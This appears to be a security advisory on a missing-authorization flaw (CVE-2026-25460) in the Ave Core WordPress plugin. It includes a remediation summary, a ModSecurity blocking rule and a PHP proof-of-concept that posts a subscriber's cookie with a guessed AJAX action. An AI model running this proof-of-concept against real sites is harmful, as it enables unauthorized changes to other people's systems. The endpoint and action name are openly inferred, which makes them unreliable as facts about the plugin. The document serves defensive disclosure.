Atomic Edge analysis of CVE-2026-25460 (metadata-based):
This vulnerability in the Ave Core WordPress plugin is a Missing Authorization flaw. The vulnerability allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized action due to a missing capability check on a specific function. The CVSS score of 4.3 indicates a medium-severity integrity impact.
Atomic Edge research identifies the root cause as a missing authorization check, classified as CWE-862. The vulnerability description confirms the absence of a capability check on a function. Without access to source code, Atomic Edge infers the vulnerable code is likely a WordPress AJAX handler or admin-post action hook that lacks a call to `current_user_can()` or a similar authorization function before executing its logic. This conclusion is based on the common WordPress plugin pattern for such vulnerabilities.
The exploitation method requires an attacker to have a valid WordPress subscriber account. The attacker would then send a crafted HTTP request to the vulnerable endpoint. Based on WordPress conventions and the plugin slug, the likely target is the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The attacker would send a POST request with an `action` parameter containing a value specific to the Ave Core plugin, such as `ave_core_action`. The exact action name is inferred from common plugin naming patterns.
Effective remediation requires adding a proper capability check to the vulnerable function. The patched code must verify the current user has the necessary permissions, typically using `current_user_can(‘manage_options’)` or a plugin-specific capability, before executing any privileged operations. A nonce check should also be added for CSRF protection, though the primary flaw is the missing authorization.
Successful exploitation leads to an unauthorized action. The CVSS vector indicates a low impact on integrity (I:L) with no impact on confidentiality or availability. Atomic Edge analysis concludes the impact is limited to unauthorized modification of plugin data or settings, not full site compromise. The action is restricted to the plugin’s functionality, preventing direct privilege escalation or remote code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25460 (metadata-based)
# This rule blocks exploitation of the missing authorization flaw by targeting the inferred AJAX endpoint.
# It matches requests to the WordPress AJAX handler with the likely plugin action parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2546001,phase:2,deny,status:403,chain,msg:'CVE-2026-25460 via Ave Core AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-25460',tag:'WordPress',tag:'Plugin-Ave-Core'"
SecRule ARGS_POST:action "@rx ^ave_(core_|core$)"
"t:none,t:urlDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25460 - Ave Core <= 2.9.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25460.
* This script simulates an attack by an authenticated subscriber user.
* The exact AJAX action name is inferred from the plugin slug 'ave-core'.
* A valid WordPress authentication cookie is required.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$wordpress_cookie = 'wordpress_logged_in_abc=...'; // Valid subscriber session cookie
// The AJAX action is inferred. Common patterns include 'ave_core_action', 'ave_core_update', etc.
$inferred_action = 'ave_core_action';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('action' => $inferred_action)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $wordpress_cookie,
'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful exploitation attempt may return a 200 status with plugin-specific output.
// A failed attempt (e.g., patched, wrong action) may return a 403, -1, or a WordPress error.
?>
